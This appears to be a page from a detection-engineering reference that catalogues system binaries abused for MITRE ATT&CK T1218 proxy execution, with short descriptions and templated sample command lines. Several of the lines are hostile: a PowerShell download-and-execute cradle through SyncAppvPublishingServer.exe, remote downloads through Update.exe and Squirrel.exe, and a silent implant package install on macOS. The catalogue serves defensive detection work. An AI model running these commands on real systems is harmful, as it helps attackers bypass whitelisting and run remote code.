LOLPulseUnified Detection Engine
Search LOLBins Directory
T1218Tactic: Defense EvasionOfficial MITRE ATT&CK Page

T1218: System Binary Proxy Execution

Adversaries may bypass process and application-whitelisting mechanisms by proxying execution of malicious code with signed, trusted binaries.

Total Capable Binaries: 93
•
Windows: 89
•
Linux: 0
•
macOS: 4

Living-off-the-Land Matrix for T1218

Across 93 verified binaries
Windows0 payloads

mshta.exe

Microsoft HTML Application (MSHTA) host executes .hta files and scripts embedded inside web pages. Attackers abuse mshta to execute malicious inline VBScript or JScript directly from the command line or remote HTTP servers.

Inspect mshta.exe & Telemetry
Windows0 payloads

rundll32.exe

The Rundll32 program loads and runs 32-bit and 64-bit Dynamic Link Libraries (DLLs). Threat actors use it to execute exported functions from arbitrary DLLs, run scriptlets, or execute code via MSHTML protocol handlers.

Inspect rundll32.exe & Telemetry
Windows0 payloads

regsvr32.exe

Regsvr32 registers and unregisters OLE controls, such as DLLs and ActiveX controls in the Windows Registry. When passed the /i switch pointing to an HTTP/HTTPS URL and scrobj.dll, regsvr32 downloads and executes remote COM scriptlets in memory (the classic Squiblydoo technique).

Inspect regsvr32.exe & Telemetry
Windows1 payloads

AddinUtil.exe

.NET Tool used for updating cache files for Microsoft Office Add-Ins.

Sample Attack Vector:
C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddinUtil.exe -AddinRoot:.
Inspect AddinUtil.exe & Telemetry
Windows1 payloads

Atbroker.exe

Helper binary for Assistive Technology (AT)

Sample Attack Vector:
ATBroker.exe /start malware
Inspect Atbroker.exe & Telemetry
Windows5 payloads

Bash.exe

File used by Windows subsystem for Linux

Sample Attack Vector:
bash.exe -c "{CMD}"
Inspect Bash.exe & Telemetry
Windows2 payloads

CertOC.exe

Used for installing certificates

Sample Attack Vector:
certoc.exe -LoadDLL {PATH_ABSOLUTE:.dll}
Inspect CertOC.exe & Telemetry
Windows1 payloads

Change.exe

Remote Desktop Services MultiUser Change Utility

Sample Attack Vector:
change.exe user
Inspect Change.exe & Telemetry
Windows0 payloads

Cmstp.exe

Installs or removes a Connection Manager service profile.

Inspect Cmstp.exe & Telemetry
Windows0 payloads

Control.exe

Binary used to launch controlpanel items in Windows

Inspect Control.exe & Telemetry
Windows1 payloads

CustomShellHost.exe

A host process that is used by custom shells when using Windows in Kiosk mode.

Sample Attack Vector:
CustomShellHost.exe
Inspect CustomShellHost.exe & Telemetry
Windows1 payloads

Extexport.exe

Load a DLL located in the c:\test folder with a specific name.

Sample Attack Vector:
Extexport.exe {PATH_ABSOLUTE:folder} foo bar
Inspect Extexport.exe & Telemetry
Windows3 payloads

Fsutil.exe

File System Utility

Sample Attack Vector:
fsutil.exe file setZeroData offset=0 length=9999999999 {PATH_ABSOLUTE}
Inspect Fsutil.exe & Telemetry
Windows2 payloads

Gpscript.exe

Used by group policy to process scripts

Sample Attack Vector:
Gpscript /logon
Inspect Gpscript.exe & Telemetry
Windows0 payloads

Hh.exe

Binary used for processing chm files in Windows

Inspect Hh.exe & Telemetry
Windows1 payloads

Ie4uinit.exe

Executes commands from a specially prepared ie4uinit.inf file.

Sample Attack Vector:
ie4uinit.exe -BaseSettings
Inspect Ie4uinit.exe & Telemetry
Windows1 payloads

iediagcmd.exe

Diagnostics Utility for Internet Explorer

Sample Attack Vector:
set windir=c:\test& cd "C:\Program Files\Internet Explorer\" & iediagcmd.exe /out:{PATH_ABSOLUTE:.cab}
Inspect iediagcmd.exe & Telemetry
Windows2 payloads

Ieexec.exe

The IEExec.exe application is an undocumented Microsoft .NET Framework application that is included with the .NET Framework. You can use the IEExec.exe application as a host to run other managed applications that you start by using a URL.

Sample Attack Vector:
ieexec.exe {REMOTEURL:.exe}
Inspect Ieexec.exe & Telemetry
Windows1 payloads

Infdefaultinstall.exe

Binary used to perform installation based on content inside inf files

Sample Attack Vector:
InfDefaultInstall.exe {PATH:.inf}
Inspect Infdefaultinstall.exe & Telemetry
Windows0 payloads

Installutil.exe

The Installer tool is a command-line utility that allows you to install and uninstall server resources by executing the installer components in specified assemblies

Inspect Installutil.exe & Telemetry
Windows0 payloads

Mavinject.exe

Used by App-v in Windows

Inspect Mavinject.exe & Telemetry
Windows0 payloads

Mmc.exe

Load snap-ins to locally and remotely manage Windows systems

Inspect Mmc.exe & Telemetry
Windows1 payloads

Msconfig.exe

MSConfig is a troubleshooting tool which is used to temporarily disable or re-enable software, device drivers or Windows services that run during startup process to help the user determine the cause of a problem with Windows

Sample Attack Vector:
Msconfig.exe -5
Inspect Msconfig.exe & Telemetry
Windows3 payloads

Msdt.exe

Microsoft diagnostics tool

Sample Attack Vector:
msdt.exe -path C:\WINDOWS\diagnostics\index\PCWDiagnostic.xml -af {PATH_ABSOLUTE:.xml} /skip TRUE
Inspect Msdt.exe & Telemetry
Windows0 payloads

Msedge.exe

Microsoft Edge browser

Inspect Msedge.exe & Telemetry
Windows0 payloads

msedgewebview2.exe

msedgewebview2.exe is the executable file for Microsoft Edge WebView2, which is a web browser control used by applications to display web content.

Inspect msedgewebview2.exe & Telemetry
Windows0 payloads

msedge_proxy.exe

Microsoft Edge Browser

Inspect msedge_proxy.exe & Telemetry
Windows0 payloads

Msiexec.exe

Used by Windows to execute msi files

Inspect Msiexec.exe & Telemetry
Windows0 payloads

Odbcconf.exe

Used in Windows for managing ODBC connections

Inspect Odbcconf.exe & Telemetry
Windows1 payloads

OfflineScannerShell.exe

Windows Defender Offline Shell

Sample Attack Vector:
OfflineScannerShell
Inspect OfflineScannerShell.exe & Telemetry
Windows2 payloads

Pcwrun.exe

Program Compatibility Wizard

Sample Attack Vector:
Pcwrun.exe {PATH_ABSOLUTE:.exe}
Inspect Pcwrun.exe & Telemetry
Windows2 payloads

Presentationhost.exe

File is used for executing Browser applications

Sample Attack Vector:
Presentationhost.exe {PATH_ABSOLUTE:.xbap}
Inspect Presentationhost.exe & Telemetry
Windows1 payloads

Provlaunch.exe

Launcher process

Sample Attack Vector:
provlaunch.exe LOLBin
Inspect Provlaunch.exe & Telemetry
Windows1 payloads

Query.exe

Remote Desktop Services MultiUser Query Utility

Sample Attack Vector:
query.exe user
Inspect Query.exe & Telemetry
Windows1 payloads

Rasautou.exe

Windows Remote Access Dialer

Sample Attack Vector:
rasautou -d {PATH:.dll} -p export_name -a a -e e
Inspect Rasautou.exe & Telemetry
Windows0 payloads

Regasm.exe

Part of .NET

Inspect Regasm.exe & Telemetry
Windows1 payloads

Register-cimprovider.exe

Used to register new wmi providers

Sample Attack Vector:
Register-cimprovider -path {PATH_ABSOLUTE:.dll}
Inspect Register-cimprovider.exe & Telemetry
Windows0 payloads

Regsvcs.exe

Regsvcs and Regasm are Windows command-line utilities that are used to register .NET Component Object Model (COM) assemblies

Inspect Regsvcs.exe & Telemetry
Windows1 payloads

Reset.exe

Remote Desktop Services Reset Utility

Sample Attack Vector:
reset.exe session
Inspect Reset.exe & Telemetry
Windows1 payloads

Runexehelper.exe

Launcher process

Sample Attack Vector:
runexehelper.exe {PATH_ABSOLUTE:.exe}
Inspect Runexehelper.exe & Telemetry
Windows1 payloads

Runonce.exe

Executes a Run Once Task that has been configured in the registry

Sample Attack Vector:
Runonce.exe /AlternateShellStartup
Inspect Runonce.exe & Telemetry
Windows1 payloads

Runscripthelper.exe

Execute target PowerShell script

Sample Attack Vector:
runscripthelper.exe surfacecheck \\?\{PATH_ABSOLUTE:.txt} {PATH_ABSOLUTE:folder}
Inspect Runscripthelper.exe & Telemetry
Windows3 payloads

scp.exe

Used for uploading or downloading files over SSH.

Sample Attack Vector:
scp.exe -o ProxyCommand="{CMD}" . localhost:.
Inspect scp.exe & Telemetry
Windows2 payloads

Scriptrunner.exe

Execute binary through proxy binary to evade defensive counter measures

Sample Attack Vector:
Scriptrunner.exe -appvscript {PATH:.exe}
Inspect Scriptrunner.exe & Telemetry
Windows1 payloads

Setres.exe

Configures display settings

Sample Attack Vector:
setres.exe -w 800 -h 600
Inspect Setres.exe & Telemetry
Windows2 payloads

SettingSyncHost.exe

Host Process for Setting Synchronization

Sample Attack Vector:
SettingSyncHost -LoadAndRunDiagScript {PATH:.exe}
Inspect SettingSyncHost.exe & Telemetry
Windows2 payloads

setupugc.exe

Setup Unattend Generic Command Processor used during Windows deployment.

Sample Attack Vector:
setupugc.exe specialize
Inspect setupugc.exe & Telemetry
Windows1 payloads

Sigverif.exe

File Signature Verification utility to verify digital signatures of files

Sample Attack Vector:
sigverif.exe
Inspect Sigverif.exe & Telemetry
Windows2 payloads

Stordiag.exe

Storage diagnostic tool

Sample Attack Vector:
stordiag.exe
Inspect Stordiag.exe & Telemetry
Windows1 payloads

SyncAppvPublishingServer.exe

Used by App-v to get App-v server lists

Sample Attack Vector:
SyncAppvPublishingServer.exe "n;(New-Object Net.WebClient).DownloadString('{REMOTEURL:.ps1}') | IEX"
Inspect SyncAppvPublishingServer.exe & Telemetry
Windows0 payloads

Verclsid.exe

Used to verify a COM object before it is instantiated by Windows Explorer

Inspect Verclsid.exe & Telemetry
Windows1 payloads

Wab.exe

Windows address book manager

Sample Attack Vector:
wab.exe
Inspect Wab.exe & Telemetry
Windows2 payloads

WorkFolders.exe

Work Folders

Sample Attack Vector:
WorkFolders
Inspect WorkFolders.exe & Telemetry
Windows1 payloads

write.exe

Windows Write

Sample Attack Vector:
write.exe
Inspect write.exe & Telemetry
Windows1 payloads

wuauclt.exe

Windows Update Client

Sample Attack Vector:
wuauclt.exe /UpdateDeploymentProvider {PATH_ABSOLUTE:.dll} /RunHandlerComServer
Inspect wuauclt.exe & Telemetry
Windows3 payloads

Xwizard.exe

Execute custom class that has been added to the registry or download a file with Xwizard.exe

Sample Attack Vector:
xwizard RunWizard {00000001-0000-0000-0000-0000FEEDACDC}
Inspect Xwizard.exe & Telemetry
Windows0 payloads

Advpack.dll

Utility for installing software and drivers with rundll32.exe

Inspect Advpack.dll & Telemetry
Windows0 payloads

Desk.cpl

Desktop Settings Control Panel

Inspect Desk.cpl & Telemetry
Windows0 payloads

Ieadvpack.dll

INF installer for Internet Explorer. Has much of the same functionality as advpack.dll.

Inspect Ieadvpack.dll & Telemetry
Windows0 payloads

Ieframe.dll

Internet Browser DLL for translating HTML code.

Inspect Ieframe.dll & Telemetry
Windows0 payloads

Mshtml.dll

Microsoft HTML Viewer

Inspect Mshtml.dll & Telemetry
Windows0 payloads

Pcwutl.dll

Microsoft HTML Viewer

Inspect Pcwutl.dll & Telemetry
Windows0 payloads

Setupapi.dll

Windows Setup Application Programming Interface

Inspect Setupapi.dll & Telemetry
Windows0 payloads

Shdocvw.dll

Shell Doc Object and Control Library.

Inspect Shdocvw.dll & Telemetry
Windows0 payloads

Shell32.dll

Windows Shell Common Dll

Inspect Shell32.dll & Telemetry
Windows0 payloads

Syssetup.dll

Windows NT System Setup

Inspect Syssetup.dll & Telemetry
Windows0 payloads

Url.dll

Internet Shortcut Shell Extension DLL.

Inspect Url.dll & Telemetry
Windows0 payloads

Zipfldr.dll

Compressed Folder library

Inspect Zipfldr.dll & Telemetry
Windows2 payloads

AccCheckConsole.exe

Verifies UI accessibility requirements

Sample Attack Vector:
AccCheckConsole.exe -window "Untitled - Notepad" {PATH_ABSOLUTE:.dll}
Inspect AccCheckConsole.exe & Telemetry
Windows2 payloads

AgentExecutor.exe

Intune Management Extension included on Intune Managed Devices

Sample Attack Vector:
AgentExecutor.exe -powershell "{PATH_ABSOLUTE:.ps1}" "{PATH_ABSOLUTE:.1.log}" "{PATH_ABSOLUTE:.2.log}" "{PATH_ABSOLUTE:.3.log}" 60000 "C:\Windows\SysWOW64\WindowsPowerShell\v1.0" 0 1
Inspect AgentExecutor.exe & Telemetry
Windows0 payloads

AppCert.exe

Windows App Certification Kit command-line tool.

Inspect AppCert.exe & Telemetry
Windows2 payloads

Appvlp.exe

Application Virtualization Utility Included with Microsoft Office 2016

Sample Attack Vector:
AppVLP.exe {PATH_SMB:.bat}
Inspect Appvlp.exe & Telemetry
Windows6 payloads

Bginfo.exe

Background Information Utility included with SysInternals Suite

Sample Attack Vector:
bginfo.exe {PATH:.bgi} /popup /nolicprompt
Inspect Bginfo.exe & Telemetry
Windows3 payloads

coregen.exe

Binary coregen.exe (Microsoft CoreCLR Native Image Generator) loads exported function GetCLRRuntimeHost from coreclr.dll or from .DLL in arbitrary path. Coregen is located within "C:\Program Files (x86)\Microsoft Silverlight\5.1.50918.0\" or another version of Silverlight. Coregen is signed by Microsoft and bundled with Microsoft Silverlight.

Sample Attack Vector:
coregen.exe /L {PATH_ABSOLUTE:.dll} dummy_assembly_name
Inspect coregen.exe & Telemetry
Windows1 payloads

DefaultPack.EXE

This binary can be downloaded along side multiple software downloads on the Microsoft website. It gets downloaded when the user forgets to uncheck the option to set Bing as the default search provider.

Sample Attack Vector:
DefaultPack.EXE /C:"{CMD}"
Inspect DefaultPack.EXE & Telemetry
Windows0 payloads

Devinit.exe

Visual Studio 2019 tool

Inspect Devinit.exe & Telemetry
Windows4 payloads

Dotnet.exe

dotnet.exe comes with .NET Framework

Sample Attack Vector:
dotnet.exe {PATH:.dll}
Inspect Dotnet.exe & Telemetry
Windows0 payloads

Mscopilot.exe

Microsoft Copilot app

Inspect Mscopilot.exe & Telemetry
Windows0 payloads

Mscopilot_proxy.exe

Microsoft Copilot proxy launcher

Inspect Mscopilot_proxy.exe & Telemetry
Windows3 payloads

Msdeploy.exe

Microsoft tool used to deploy Web Applications.

Sample Attack Vector:
msdeploy.exe -verb:sync -source:RunCommand -dest:runCommand="{PATH_ABSOLUTE:.bat}"
Inspect Msdeploy.exe & Telemetry
Windows1 payloads

Sqlps.exe

Tool included with Microsoft SQL Server that loads SQL Server cmdlets. Microsoft SQL Server\100 and 110 are Powershell v2. Microsoft SQL Server\120 and 130 are Powershell version 4. Replaced by SQLToolsPS.exe in SQL Server 2016, but will be included with installation for compatability reasons.

Sample Attack Vector:
Sqlps.exe -noprofile
Inspect Sqlps.exe & Telemetry
Windows1 payloads

SQLToolsPS.exe

Tool included with Microsoft SQL that loads SQL Server cmdlts. A replacement for sqlps.exe. Successor to sqlps.exe in SQL Server 2016+.

Sample Attack Vector:
SQLToolsPS.exe -noprofile -command Start-Process {PATH:.exe}
Inspect SQLToolsPS.exe & Telemetry
Windows5 payloads

Squirrel.exe

Binary to update the existing installed Nuget/squirrel package. Part of Microsoft Teams installation.

Sample Attack Vector:
squirrel.exe --download {REMOTEURL}
Inspect Squirrel.exe & Telemetry
Windows0 payloads

Teams.exe

Electron runtime binary which runs the Teams application

Inspect Teams.exe & Telemetry
Windows13 payloads

Update.exe

Binary to update the existing installed Nuget/squirrel package. Part of Microsoft Teams installation.

Sample Attack Vector:
Update.exe --download {REMOTEURL}
Inspect Update.exe & Telemetry
Windows1 payloads

VisualUiaVerifyNative.exe

A Windows SDK binary for manual and automated testing of Microsoft UI Automation implementation and controls.

Sample Attack Vector:
VisualUiaVerifyNative.exe
Inspect VisualUiaVerifyNative.exe & Telemetry
Windows1 payloads

VSIISExeLauncher.exe

Binary will execute specified binary. Part of VS/VScode installation.

Sample Attack Vector:
VSIISExeLauncher.exe -p {PATH:.exe} -a "{CMD:args}"
Inspect VSIISExeLauncher.exe & Telemetry
Windows1 payloads

vsls-agent.exe

Agent for Visual Studio Live Share (Code Collaboration)

Sample Attack Vector:
vsls-agent.exe --agentExtensionPath {PATH_ABSOLUTE:.dll}
Inspect vsls-agent.exe & Telemetry
Windows5 payloads

Wsl.exe

Windows subsystem for Linux executable

Sample Attack Vector:
wsl.exe -e /mnt/c/Windows/System32/calc.exe
Inspect Wsl.exe & Telemetry
macOS1 payloads

open

The open command opens files, directories, URLs, and applications as if you double-clicked them in Finder. Used to launch unsigned or quarantined applications and evade Gatekeeper or security software inspection.

Sample Attack Vector:
open -a /Applications/Safari.app/Contents/MacOS/Safari http://phishing.site
Inspect open & Telemetry
macOS1 payloads

pkgutil

Pkgutil queries and extracts installer packages. Attackers use pkgutil --expand to decompress package payloads and extract scripts without triggering installation gatekeeper checks.

Sample Attack Vector:
pkgutil --expand /tmp/installer.pkg /tmp/extracted_pkg
Inspect pkgutil & Telemetry
macOS1 payloads

installer

Installer runs system software installations. Attackers run installer from terminal with root privileges to deploy malicious package files silently without user prompts.

Sample Attack Vector:
sudo installer -pkg /tmp/implant.pkg -target /
Inspect installer & Telemetry
macOS1 payloads

hdiutil

Hdiutil manipulates macOS disk images (DMG). Attackers attach downloaded DMG images silently (-nobrowse) to access and execute stage-2 payloads without mounting icons on the desktop.

Sample Attack Vector:
hdiutil attach /tmp/payload.dmg -nobrowse -mountpoint /Volumes/secret
Inspect hdiutil & Telemetry
Sharon Ben Moshe
Curated & Verified by
Sharon Ben Moshe
Cybersecurity Researcher & Detection Engineer • Check Point
LinkedIn ProfileMethodology & Papers